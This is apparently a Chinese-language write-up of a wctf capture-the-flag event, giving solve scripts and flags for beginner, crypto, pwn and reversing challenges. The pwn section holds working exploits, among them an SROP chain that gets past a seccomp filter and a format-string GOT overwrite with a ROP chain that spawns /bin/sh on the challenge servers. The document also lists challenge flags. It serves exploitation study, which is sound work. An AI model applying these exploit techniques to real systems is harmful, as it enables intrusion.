周末时间太紧,作到1点,题目都太费时间了放弃.跟队友一起把Beginner干完了,其它只作了一点.
Beginner
P0wn3d
溢出到first_words.guard == 0x42424242
P0wn3d_2
溢出到guard1,guard2有区别吗?
p.sendlineafter(b"for yourself?\n", b'A'*32+p32(0xdeadbeef)+p32(0x0badc0de))
P0wn3d_3
一共两天居然还分次出题,溢出到后门
p.sendline(b'\0'*0x28+p64(0x4011a5))
EtTuCaeser
这题有Caeser的提示,直接爆破一下是3,只有3带flag的头wctf,然后按着头找字母,发现是5*5排列后的斜线.可是提交不正确,一直想这些叹号怎么处理,第二天才提交成.坑人啊
'''
tzc3Sq{k!ss!a!__FZ!!_!11}
wcf3Vt{n!vv!d!__IC!!_!11}
w c f 3 V
t { n ! v
v ! d ! _
_ I C ! !
_ ! 1 1 }
wctf{v3n!_V!dI_v!C!_!1!1}
'''
REdata
直接能找到串
REverse
按代码来看,前边是移位后边是反转.实际上没有反转
c =b't`qcxo0s0o2.kd\.k\o0s0o20z'
bytes([i+3 for i in c])
'''
for ( i = 0; i < a3; ++i )
*(_BYTE *)(i + a2) = *(_BYTE *)(i + a1) - 3;
for ( j = 0; ; j += 2 )
{
result = (unsigned int)(a3 - 1);
if ( j >= (int)result )
break;
v4 = *(_BYTE *)(j + a2);
*(_BYTE *)(j + a2) = *(_BYTE *)(a3 - 1 - (j + 1) + a2);
*(_BYTE *)(a2 + a3 - 1 - (j + 1)) = v4;
}
'''
Crypto
ShiftHappens
题目给了一段c程序
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
int FEEDBACK = REDACTED //its a secret teehee!
int L = 16;
uint16_t next(uint16_t current_state){
uint16_t bit = 0;
for(int i = 0; i < L; i++){
bit = bit ^ ( ((current_state >> i) & 1) & ((FEEDBACK >> i) & 1 ) );
}
uint16_t new_state = (current_state << 1) | (bit);
return new_state;
}
int main(int argc, char** argv){
FILE* fp = fopen("./flag.txt","r");
if(fp == NULL){
exit(1);
}
char flag[61];
fscanf(fp, "%s", flag);
fclose(fp);
uint16_t state = REDACTED // (*-*) - what are you looking for?
int bitstream[60*8];
for(int i = 0; i < 60*8; i++){
int bit = (state >> 15) & 1;
bitstream[i] = bit;
state = next(state);
}
for(int i = 0; i < 60; i++){
for(int j = 0; j < 8; j++){
int to_print = (flag[i] >> (7-j)) & 1;
to_print = to_print ^ bitstream[i*8 + j];
printf("%d",to_print);
}
printf("\n");
}
return 0;
}
加密方式是LFRS,mask和seed未知
1,因为知道flag头,与密文异或后可以得到一段加密流
2,通过加密流求mask
c = '01111011110001011011101110110100'
m = ''.join([bin(i)[2:].zfill(8) for i in b'wctf'])
s = [int(i)^^int(j) for i,j in zip(c,m)]
A = []
B = []
for i in range(16):
A.append(s[i:i+16])
B.append(s[i+16:i+17])
mask = matrix(GF(2),A).solve_right(matrix(GF(2),B))
3,通过矩阵生成加密流,恢复明文
M = matrix(GF(2), 16,16)
for i in range(16):
M[i,-1] = mask[i][0]
for i in range(15):
M[i+1,i] = 1
ct = '011110111100010110111011101101000000111100100101111111011000110101011000110110000100111111100100111001101111111001101001001111010110001111100100000110110001001110011111110110011111111110001100000111101111001001000001010100100111000011100011101100010000010110111110101110111000010100001101011001110100001001011000011011011111000001001011111101011100001101100000111010111010001101001101000101101011011011001101100001110101011001010010011111101110101101010101010000100000001110001001'
v = matrix(GF(2),s[:16])
flag = b''
for i in range(0, 60*8, 16):
c = [int(j) for j in ct[i:i+16]]
m = ''.join([str(v[0][j]+c[j]) for j in range(16)])
flag +=long_to_bytes(int(m,2))
v = v*M^16
print(flag)
#wctf{cr4ck1nG_w34k_3ncrYpt10N_W17h_tH3_p0w3r_0f_M4TH_843953}
ECB++
这一段AES oracle的题真多
#!/usr/local/bin/python3
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Random import random
f = open('./flag.txt','r')
flag = f.read()
def encrypt(message):
global flag
message = message.encode()
message += flag.encode()
key = random.getrandbits(256)
key = key.to_bytes(32,'little')
cipher = AES.new(key, AES.MODE_ECB)
ciphertext = cipher.encrypt(pad(message, AES.block_size))
return(ciphertext.hex())
print("Welcome to my secure encryption machine!")
print("I'll encrypt all your messages (and add a little surprise at the end)")
while(True):
print("Do you have a message to encrypt? [Y|N]")
response = input()
if(response == 'Y'):
print("Gimme your message:")
message = input()
print("Your message is: ",encrypt(message))
else:
exit(0)
这个还算简单,padding作在前边,每次爆破flag的1个字节,同时爆破这个字节,当暴露的块密文与爆破的块密文相同时判断为爆破成功.
....? .... ...w
爆破块 填充块 暴露块
这里的key是每次重新生成的,所以每次爆破的时候需要带上密文
国外的这个密文还挺长,网站还挺慢,一会一断,爆破很辛苦.
from pwn import *
p=remote('ecbpp.kctf-453514-codelab.kctf.cloud', 1337)
def oracle(data):
p.sendlineafter(b"Do you have a message to encrypt? [Y|N]", b'Y')
p.sendlineafter(b"Gimme your message:", data)
p.recvuntil(b"Your message is: ")
enc = bytes.fromhex(p.recvline().decode().strip())
return enc
flag = b'A'*16 + b'wctf{1_m4d3_th15_fl4G_r34lly_l0ng_s0_th4t_y0u_w0ulD_h4v3_t0_d34L_w1th_muL7iPl3_bl0cKs_L'
for i in range(len(flag)-16: 96):
for j in range(0x20,0x7f):
data = flag[-15:]+bytes([j])+ b'A'*(95-i)
test=oracle(data) #尾部漏出flag 1个字符
if test[:16] == test[96:96+16]:
flag += bytes([j])
print(flag)
break
#wctf{1_m4d3_th15_fl4G_r34lly_l0ng_s0_th4t_y0u_w0ulD_h4v3_t0_d34L_w1th_muL7iPl3_bl0cKs_L0L}
*KryptoSystem
未完成,给了一段大写字节,第1段是移位,后边不知道是啥
PBATENGHYNGVBAFBAPENPXVATGURSVEFGCNEGBSGURPBQRVGFABGERNYYLHAOERXNOYRGURERFGBSGURPUNYYRATRJVYYVAQVPNGRUBJGBRKGENPGGURSYNTSEBZGURPCURE?
SIEVSTTUXIWFITEOEOPNTRECWSWHTTTMCFOEGMNIEOUGNSEDKEWPATMOALUDETROAHWDLHHAOIFTEEAEHAPAROLVEARHDLTLOTJTEDINEOOUYLRAYNYCKYCSANPIPTILPNTLSADMDDLTTESIOYIAORFTOOWFFADNSRSADCGLMLCTLAAUCLREIDHEURAOEAOEGBNRHCDIXERELDULEXCOAELHARAOHWSNURROCFOYNSDYRAOO?
EHRTQIHYDGKJPJXSUQNFNGWTEPZLNGTYEYTXOVNUZVANJMBSCVAFPORHKFXBWUKJWNEDQPUWACDFXNXMKYXAATFFGKGLPJBXSCLFHQMTBHNSWPWNDQIJPJTYUQNMWFYZJVHTUQNYNWEDWTXTJGHKPJXJHKMJIAZZUVAJORXHECEBKTWXUQNRQUMJTVKFYVMTCGMYDGYQWITWAOBXORXQHGWQEMXYDGYTHNHBEPZBKTWUATLSPQFFGGMMEULTHXTGHGBSAGWYKOTPAVANONHSCGKXKYTYYJFJPCEPBQKFIKGZPGMMEUVMWNEJJIXBWUTWAHXWAPVJPQMMAMKDLVHXYQWJEVLFRGKDEPMJNGLYEPZXPQKDWPWNWOLZNGRTQETSBKGIOVNKBCUTQVBYKPMMAKGYATGJPCVYQCEQUVAJNGTQYQWJDCWKKWKXAEMNKPLFJFMMANTXPQGJNGFFEPLZJUHQRGWYKVANOFTDWNLTPJXKETLYKPXBWUGTPCVFAUTWYKIMATLTPJTYOCGTPJXWZKYKATXSYGWTEPZYSQONCGGJNGVNLJXWOHXQPTXUAVBYEXXXKKAFZVHHDCGLAKMZLOTDXGGTSKMNONHSCGGTQIALKQWQQEDFJFAFRGYZJYBYDVAJNGLYKHMMAEHRLGMNPKHScongratulations on cracking the first part of the code its not really unbrekable the rest of the challenge will indicate how to extract the flag from the cp her
PWN
DryWall
有溢出s[256]允许读fgets(s,0x256),限制了open和execve可以用openat打开文件然后read,write
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[264]; // [rsp+0h] [rbp-110h] BYREF
__int64 v5; // [rsp+108h] [rbp-8h]
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
v5 = seccomp_init(2147418112LL);
seccomp_rule_add(v5, 0LL, 59LL, 0LL);
seccomp_rule_add(v5, 0LL, 2LL, 0LL);
seccomp_rule_add(v5, 0LL, 322LL, 0LL);
seccomp_rule_add(v5, 0LL, 19LL, 0LL);
seccomp_rule_add(v5, 0LL, 20LL, 0LL);
seccomp_rule_add(v5, 0LL, 310LL, 0LL);
seccomp_rule_add(v5, 0LL, 311LL, 0LL);
seccomp_load(v5);
puts("What is your name, epic H4x0r?");
fgets(name, 30, stdin);
printf("Good luck %s <|;)\n", name);
printf("%p\n", main);
fgets(s, 0x256, stdin);
return 0;
}
有gift 给了pop rax和syscall
.text:0000000000001195 ; __int64 gift(void)
.text:0000000000001195 public _Z4giftv
.text:0000000000001195 _Z4giftv proc near
.text:0000000000001195 ; __unwind {
.text:0000000000001195 55 push rbp
.text:0000000000001196 48 89 E5 mov rbp, rsp
.text:0000000000001199 5A pop rdx
.text:000000000000119A C3 retn
.text:000000000000119A
.text:000000000000119A _Z4giftv endp
.text:000000000000119A
.text:000000000000119B ; ---------------------------------------------------------------------------
.text:000000000000119B 58 pop rax
.text:000000000000119C C3 retn
.text:000000000000119C
.text:000000000000119D ; ---------------------------------------------------------------------------
.text:000000000000119D 0F 05 syscall ; LINUX -
.text:000000000000119F C3 retn
没有其它的ROP,显然是个srop的题,只是前边256的空间一次不大够,后边也只够1次sigreturn所以每次只能执行一个
from pwn import *
context(arch='amd64', log_level='debug')
elf = ELF('./chal')
#p = process('./chal')
#gdb.attach(p, "b*0x555555555379\nc")
p = remote('drywall.kctf-453514-codelab.kctf.cloud', 1337)
p.sendlineafter(b"What is your name, epic H4x0r?\n", b'/home/user/flag.txt\0')
p.recvuntil(b"<|;)\n")
elf.address = int(p.recvline(),16) - 0x11a3
print(f"{elf.address = :x}")
name = elf.address + 0x4050
pop_rbp = elf.address + 0x11a1
pop_rdx = elf.address + 0x1199
pop_rax = elf.address + 0x119b
syscall = elf.address + 0x119d
gets = elf.address + 0x1359
leave_ret = elf.address + 0x1379
bss = elf.address + 0x4800
p.sendline(b'a'*0x110+ flat(bss, gets) )
frame = SigreturnFrame()
frame.rax = 0x101
frame.rdi = 0
frame.rsi = name
frame.rdx = 0
frame.rbp = bss + 0x300
frame.rsp = bss + 0x120
frame.rip = syscall
pay = b'\0'*0x110 + flat(bss+0x110,pop_rax,15, syscall, frame, 0,gets)
p.sendline(pay)
bss += 0x300
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 3
frame.rsi = name
frame.rdx = 0x50
frame.rbp = bss + 0x300
frame.rsp = bss + 0x120
frame.rip = syscall
pay = b'\0'*0x110 + flat(bss+0x110,pop_rax,15, syscall, frame, 0,gets)
p.sendline(pay)
bss += 0x300
frame = SigreturnFrame()
frame.rax = 1
frame.rdi = 1
frame.rsi = name
frame.rdx = 0x50
frame.rbp = bss + 0x200
frame.rsp = bss + 0x120
frame.rip = syscall
pay = b'\0'*0x110 + flat(bss+0x110,pop_rax,15, syscall, frame, 0,gets)
p.sendline(pay)
p.interactive()
#wctf{fL1m5y_w4LL5_br34k_f4r_7h3_31337_459827349}
TakeNote
1,在show的时候使用printf,所以是个格式化字符串的题,每次先add再show
2,循环没有跳出,需要修改got.exit为leave ret 跳回
puts("How many notes do you need to write?\n");
fgets(s, 3, stdin);
v3 = atoi(s);
v4 = (char *)malloc(16 * (v3 + 1));
v5 = malloc(v3);
for ( i = 0; i < v3; ++i )
v5[i] = 0;
while ( 1 )
{
menu();
__isoc99_scanf("%d", &v0);
getchar();
if ( v0 == 3 )
{
puts("Thank you for taking notes with us!\n");
exit(0);
}
if ( v0 > 3 )
break;
if ( v0 == 1 )
{
printf("Which note do you want to write to? [0 - %d]\n", (unsigned int)(v3 - 1));
__isoc99_scanf("%d", &v1);
getchar();
if ( v1 < 0 || v3 <= v1 )
{
puts("Nice try buddy *-*\n");
exit(1);
}
fgets(src, 33, stdin);
strncpy(&v4[16 * v1], src, 0x11uLL);
v5[v1] = 1;
}
else
{
if ( v0 != 2 )
break;
puts("Which note do you want to print?\n");
__isoc99_scanf("%d", &v1);
getchar();
if ( v1 < 0 || v3 <= v1 )
{
puts("Nice try buddy *-*\n");
exit(1);
}
if ( !v5[v1] )
{
puts("You haven't written that note yet >:(\n");
exit(1);
}
puts("Your note reads:\n");
printf(&v4[16 * v1]);
}
}
puts("Uhm, that's not an option. You might want to look at this: https://www.youtube.com/watch?v=uHgt8giw1LY\n");
exit(0);
}
这里输入的可能比较长,show只有前边16字节,可以多次写也可以多执行几次.由于fgets可写32字节,所以可以把地址留在栈上.
from pwn import *
context(arch='amd64', log_level='debug')
elf = ELF('./chal')
libc = ELF('./libc-2.31.so')
def show(msg):
p.sendlineafter(b"3. Exit\n\n", b'1')
p.sendlineafter(b"\n", b'0')
p.sendline(msg)
p.sendlineafter(b"3. Exit\n\n", b'2')
p.sendlineafter(b"Which note do you want to print?\n\n", b'0')
p.recvuntil(b"Your note reads:\n\n")
#p = process('./chal')
p = remote('takenote.kctf-453514-codelab.kctf.cloud', 1337)
p.sendlineafter(b"How many notes do you need to write?\n\n", b'10')
'''
00:0000│ rsp 0x7fffffffdce0 —▸ 0x7ffff7f98ff0 (_IO_file_jumps) ◂— 0
01:0008│-058 0x7fffffffdce8 ◂— 2
02:0010│-050 0x7fffffffdcf0 ◂— 0xa0000000a /* '\n' */
03:0018│-048 0x7fffffffdcf8 —▸ 0x5555555582a0 ◂— '%6$p %7$p\n'
04:0020│-040 0x7fffffffdd00 —▸ 0x555555558360 ◂— 1
05:0028│-038 0x7fffffffdd08 ◂— 0x3031fff7e33030
06:0030│-030 0x7fffffffdd10 ◂— '%6$p %7$p\n'
07:0038│-028 0x7fffffffdd18 ◂— 0xa70 /* 'p\n' */
08:0040│-020 0x7fffffffdd20 ◂— 0
09:0048│-018 0x7fffffffdd28 —▸ #15 ptr
0a:0050│-010 0x7fffffffdd30 —▸ 0x7fffffffdd60 ◂— 1
0b:0058│-008 0x7fffffffdd38 ◂— 0x4abae5eb00ff6f00
0c:0060│ rbp 0x7fffffffdd40 —▸ 0x7fffffffdd60 ◂— 1 #18
0d:0068│+008 0x7fffffffdd48 —▸ 0x55555555558b (main+123) ◂— mov rdx, qword ptr [rbp - 8] #19
0e:0070│+010 0x7fffffffdd50 ◂— 0
0f:0078│+018 0x7fffffffdd58 ◂— 0x4abae5eb00ff6f00
10:0080│+020 0x7fffffffdd60 ◂— 1
11:0088│+028 0x7fffffffdd68 —▸ 0x7ffff7ddcd68 (__libc_start_call_main+120) ◂— mov edi, eax #23
12:0090│+030 0x7fffffffdd90 —▸ 0x7ffff7ffc620 (_rtld_global_ro) ◂— 0x6060900000000
13:0098│+038 0x7fffffffdd98 —▸ 0x7fffffffde78 —▸ 0x7fffffffe203 ◂— 0x43006c6168632f2e /* './chal' */ #25 chain->rop
'''
show(b'%18$p %19$p ')
stack = int(p.recvuntil(b' '),16) - 0x18
elf.address = int(p.recvuntil(b' '),16) - 0x158b
show(b'%23$p ')
libc.address = int(p.recvuntil(b' '),16) - 0x24083
print(f"{stack = :x} {elf.address = :x} {libc.address = :x}")
pop_rdi = elf.address + 0x000000000000160b # pop rdi ; ret
pop_rsi = elf.address + 0x0000000000001609 # pop rsi ; pop r15 ; ret
leave_ret = elf.address+0x126b
#gdb.attach(p, "b*0x5555555554f0\nc")
show(f"%{leave_ret&0xffff}c%15$hn".encode().ljust(0x18,b'\0')+p64(elf.got['exit']))
pay = flat(pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\0')), libc.sym['system'])
for i,v in enumerate(pay):
if v!=0:
show(f"%{v}c%15$hhn".encode().ljust(0x18,b'\0')+p64(stack+i))
else:
show(f"%15$hhn".encode().ljust(0x18,b'\0')+p64(stack+i))
p.sendlineafter(b"3. Exit\n\n", b'3')
p.interactive()
#wctf{m3m0ry_l4y0u7_1s_crUc1Al_f0r_3xpL01t5}
REV
逆向队友没上线,硬着头皮作了两题,这题太烦人了
CrackMeEXE
用IDA直接打开没代码,用010发现有UPX0标记,先用upx -d xxx 解包.
IDA发现加密校验部分被加密了
v27 = 0;
*(_OWORD *)Buffer = 0i64;
v20 = _acrt_iob_func(0);
fgets(Buffer, 19, v20);
v21 = strcspn(Buffer, "\n");
if ( v21 >= 0x14 )
{
_report_rangecheckfailure();
JUMPOUT(0x7FF682B212D7i64); //加了密了
}
Buffer[v21] = 0;
v22 = v16(Buffer);
v23 = "\nCORRECT!";
if ( v22 )
v23 = "\nWhat? no...";
puts(v23);
return 0;
在主程序里有一段解密代码,置种子然后用随机数异或
srand(0x3419u);
v18 = 0;
v19 = &qword_7FF682B25080;
do
{
*(_BYTE *)v19 ^= rand();
++v18;
v19 = (__int64 *)((char *)v19 + 1);
}
先写程序处理下,把加密的代码解密再用IDA看
from ctypes import *
clibc = cdll.LoadLibrary("msvcrt.dll")
#windows msvcrt.dll
clibc.srand(0x3419)
a = open('chall.exe', 'rb').read()
msg = a[0x2880: 0x2880+0x8b]
m2 = [(i^clibc.rand())&0xff for i in msg]
open('r2.exe','wb').write(a[:0x2880]+bytes(m2)+a[0x2880+0x8b:])
发现校验代码就是密文与b'flag'异或
__int64 __fastcall sub_140005080(__int64 a1)
{
__int64 i; // r10
__int64 v3; // rdi
_QWORD v4[4]; // [rsp-28h] [rbp-28h] BYREF
__int64 v5; // [rsp-8h] [rbp-8h] BYREF
for ( i = 0i64; *(_BYTE *)(a1 + i); ++i )
;
if ( i != 18 )
return 1i64;
v5 = 0x67616C66i64;
v4[3] = &v5;
v4[2] = 0x1159i64;
v4[1] = 0x1352353903521556i64;
v4[0] = 0x90F2D1D01150F11i64;
v3 = 0i64;
while ( i )
{
v3 += *((_BYTE *)v4 + i - 1) != (unsigned __int8)(*((_BYTE *)&v5 + (i - 1) % 4ui64) ^ *(_BYTE *)(a1 + i - 1));
--i;
}
return v3;
}
v4 = p64(0x90F2D1D01150F11)+p64(0x1352353903521556)+p16(0x1159)
xor(b'flag',v4)
b'wctf{Ann0y3d_Y3t?}'
AngerIssues
IDA打开看有239个小funX,每个大概都是flag[i]=flag[j]+x
太多了,用程序处理一下,先从IDA上把汇编码复制出来再一个个过滤函数(程序没完全处理所有情况,只处理a[i]=a[j]+x中x为正负零的三种情况),还有两个是a[i]=x的情况手工处理
msg = open('msg.txt').readlines()
i = 0
fun = []
for idx in range(240):
while f'public func{idx}' not in msg[i]:
i+=1
ok = False
tmp = [idx]
while 'retn' not in msg[i]:
if '48 83 C0 ' in msg[i]:
k = msg[i].index('48 83 C0 ')
s = int(msg[i][k+9:k+11], 16)
tmp.append(s)
#print(i,'s',s)
elif '48 83 C2 ' in msg[i]:
k = msg[i].index('48 83 C2 ')
t = int(msg[i][k+9:k+11], 16)
tmp.append(t)
#print(i,'t',t)
elif '83 EA ' in msg[i]:
k = msg[i].index('83 EA ')
v = int(msg[i][k+6:k+8], 16)
tmp.append(v)
#print(i,'v1',v)
fun.append([idx, s,t,-v])
ok = True
elif '83 C2 ' in msg[i]:
k = msg[i].index('83 C2 ')
v = int(msg[i][k+6:k+8], 16)
tmp.append(v)
#print(i,'v2',v)
ok = True
i+=1
if len(tmp)== 3:
tmp.append(0)
if len(tmp)==4:
fun.append(tmp)
print(f"a[{tmp[1]}] == a[{tmp[2]}] + {tmp[3]} #{tmp[0]}")
#break
print(fun)
a = [-1]*59
a[0] = ord('w')
a[1] = ord('c')
a[2] = ord('t')
a[3] = ord('f')
a[4] = ord('{')
a[58] = ord('}')
a[17] = 53
a[16] = 117
a[42] = a[0]
for _ in range(len(fun)):
for i in range(len(fun)):
idx,s,t,v = fun[i]
print(idx,s,t,v)
if a[s] != -1 and a[t] == -1:
print(i,'1',s,t,v)
a[t] = a[s]-v
fun.pop(i)
break
if a[s] == -1 and a[t] != -1:
print(i,'2',s,t,v)
a[s] = a[t]+v
fun.pop(i)
break
print(a)
print(bytes(a))
#wctf{1_h0p3_y0u_u53d_ANGR_f0r_th15_0r_y0U_w0uLd_b3_a_duMMy}
Office
程序流程:
先生成1字节密文,
raise会修改每次增加的大小(每次只能比原来大)
clock_in会显示bal与密文与运算后得到的7种情况,然后bal+=raise,并且secret^=bal
__int64 clock_in()
{
__int64 result; // rax
if ( ((unsigned __int8)secret & (unsigned __int8)byte_404088) != 0 )
puts("You forget to put the cover sheet on your TPS report");
if ( ((unsigned __int8)secret & (unsigned __int8)byte_404089) != 0 )
puts("You have a meeting with a consultant");
if ( ((unsigned __int8)secret & (unsigned __int8)byte_40408A) != 0 )
puts("The printer jams");
if ( ((unsigned __int8)secret & (unsigned __int8)byte_40408B) != 0 )
puts("Your boss tells you that you have to come in on Saturday");
if ( ((unsigned __int8)secret & (unsigned __int8)byte_40408C) != 0 )
puts("The fire alarm goes off");
if ( ((unsigned __int8)secret & (unsigned __int8)byte_40408D) != 0 )
puts("Your cowworker asks if you have seen his stapler");
if ( ((unsigned __int8)secret & (unsigned __int8)byte_40408E) != 0 )
puts("You think about quitting");
printf("Time to clock out. You made $%d today\n", (unsigned int)raise_0);
bal += raise_0;
result = bal ^ (unsigned int)(unsigned __int8)secret;
secret ^= bal;
return result;
}
思路:
1字节密文也就256种,通过给出的提示大概率可以得到比重复数较少的情况,
然后调整 raise让每次异或后bal尾字节为0保持secret不变进行第2次测试
测试成功后调整raise使其满足257*secret得到flag
坑:由于raise每次只能增加,所以几次以后可能会无法保证小于密文,所以不是每次都能成功.
from pwn import *
context.log_level = 'debug'
def guess(x):
set(x-bal)
show()
p.sendlineafter(b"> ", b'3')
def set(v):
global x
x = v
p.sendlineafter(b"> ", b'2')
p.sendlineafter(b"> ", str(x).encode())
def show():
global bal
bal += x
p.sendlineafter(b"> ", b'1')
v = ''
while True:
msg = p.recvline()
if b"You forget to put the cover sheet on your TPS report" in msg:
v +='0'
if b"You have a meeting with a consultant" in msg:
v +='1'
if b"The printer jams" in msg:
v +='2'
if b"Your boss tells you that you have to come in on Saturday" in msg:
v +='3'
if b"The fire alarm goes off" in msg:
v +='4'
if b"Your cowworker asks if you have seen his stapler" in msg:
v +='5'
if b"You think about quitting" in msg:
v +='6'
if b"Time to clock out. You made " in msg:
break
return v
mask = [0xa,0x16,0x18,0x28,0xa8,0x60,0x1]
dic = []
for i in range(256):
v = ''
for j,k in enumerate(mask):
if i&k != 0:
v += str(j)
dic.append(v)
cnt = {}
for i in range(256):
if dic[i] in cnt:
cnt[dic[i]] += 1
else:
cnt[dic[i]] = 1
p = remote('office.kctf-453514-codelab.kctf.cloud', 1337)
#p = process('./chal')
#gdb.attach(p, "b*0x4012df\nc")
bal = 0x539
x = 10
set(0x100-0x39) #balance=0
msg = show()
print(msg)
if cnt[msg] == 1:
guess(0x101*dic.index(msg))
p.interactive()
#测试
base = 1
for i in range(256):
if dic[i] != msg: continue
set(base*0x100+i)
base += 1
show()
set(base*0x100)
base += 1
v = show()
set(base*0x100-i)
base += 1
show()
if v=='':
guess(0x101*i)
break
p.interactive()
后边一个比一个恶心,一个js的正则表达式,js里边可以有代码所以更复杂,另一个是一段猜不出语言和规则的代码.